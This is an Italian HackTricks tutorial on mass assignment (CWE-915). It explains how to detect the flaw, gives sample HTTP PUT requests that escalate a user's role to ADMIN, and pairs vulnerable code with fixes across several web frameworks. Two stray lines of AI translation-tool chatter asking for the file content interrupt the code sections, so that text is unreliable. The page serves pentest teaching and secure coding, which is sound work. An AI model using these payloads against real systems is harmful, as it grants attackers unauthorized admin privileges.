Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Mass assignment (a.k.a. insecure object binding) si verifica quando un API/controller prende JSON fornito dall’utente e lo associa direttamente a un modello/entità server-side senza una allow-list esplicita di campi. Se proprietà privilegiate come roles, isAdmin, status o ownership fields sono bindable, qualsiasi utente autenticato può ottenere privilegi elevati o manomettere uno stato protetto.

Questo è un problema di Broken Access Control (OWASP A01:2021) che spesso abilita vertical privilege escalation impostando roles=ADMIN o simili. Colpisce comunemente framework che supportano automatic binding dei request bodies ai data models (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, ecc.).

1) Trovare Mass Assignment

Cerca endpoint self-service che aggiornano il tuo profilo o risorse simili:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Euristiche che indicano mass assignment:

  • La risposta ripete i campi gestiti dal server (es. roles, status, isAdmin, permissions) anche quando non li hai inviati.
  • I bundle client contengono role names/IDs o altri nomi di attributi privilegiati usati in tutta l’app (admin, staff, moderator, internal flags), suggerendo uno schema bindable.
  • I serializer backend accettano campi sconosciuti senza rifiutarli.

Flusso di test rapido:

  1. Esegui un aggiornamento normale con solo campi sicuri e osserva l’intera struttura della risposta JSON (this leaks the schema).
  2. Ripeti l’aggiornamento includendo nel body un campo privilegiato creato ad arte. Se la risposta mantiene la modifica, probabilmente hai mass assignment.

Example baseline update revealing schema:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

La risposta suggerisce campi privilegiati:

HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Sfruttamento – Role Escalation via Mass Assignment

Una volta che conosci il bindable shape, includi la proprietĂ  privileged nella stessa richiesta.

Esempio: imposta roles su ADMIN sulla tua user resource:

PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Se la response persiste la modifica di ruolo, esegui una re-authenticate o un refresh dei tokens/claims in modo che l’app emetta una admin-context session e mostri UI/endpoints privilegiati.

Notes

  • Role identifiers and shapes are frequently enumerated from the client JS bundle or API docs. Search for strings like “roles”, “ADMIN”, “STAFF”, or numeric role IDs.
  • If tokens contain claims (e.g., JWT roles), a logout/login or token refresh is usually required to realize the new privileges.

3) Client Bundle Recon for Schema and Role IDs

  • Inspect minified JS bundles for role strings and model names; source maps may reveal DTO shapes.
  • Look for arrays/maps of roles, permissions, or feature flags. Build payloads matching the exact property names and nesting.
  • Typical indicators: role name constants, dropdown option lists, validation schemas.

Handy greps against a downloaded bundle:

strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Insidie dei framework e pattern sicuri

La vulnerabilitĂ  si verifica quando i framework associano req.body direttamente a entitĂ  persistenti. Di seguito sono riportati errori comuni e pattern minimi e sicuri.

Node.js (Express + Mongoose)

Vulnerabile:

// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

Non ho ricevuto il contenuto del file. Per favore incolla qui il contenuto di src/pentesting-web/mass-assignment-cwe-915.md che vuoi tradurre/aggiustare e procederò a tradurre il testo rilevante in italiano mantenendo intatta tutta la sintassi markdown/html, i codici, i link e i tag.

// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Vulnerabile (senza strong parameters):

def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Correzione (strong params + no privileged fields):

def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Vulnerabile:

protected $guarded = []; // Everything mass-assignable (bad)

I need the content of src/pentesting-web/mass-assignment-cwe-915.md to fix/translate it. Please paste the file text here (I will translate the English to Italian following your markdown/tag rules and keep code/paths/links unchanged).

protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Pattern vulnerabile:

// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Correzione: mappare in un DTO con solo i campi consentiti e applicare i controlli di autorizzazione:

record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Successivamente copia i campi consentiti dal DTO all’entità lato server e gestisci le modifiche di ruolo solo in handler riservati agli admin dopo i controlli RBAC. Usa @JsonIgnore sui campi privilegiati se necessario e rifiuta proprietà sconosciute.

Go (encoding/json)

  • Assicurati che i campi privilegiati usino json:“-” e valida con una struct DTO che includa solo i campi consentiti.
  • Considera decoder.DisallowUnknownFields() e la validazione post-bind delle invarianti (i ruoli non possono cambiare nelle route self-service).

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks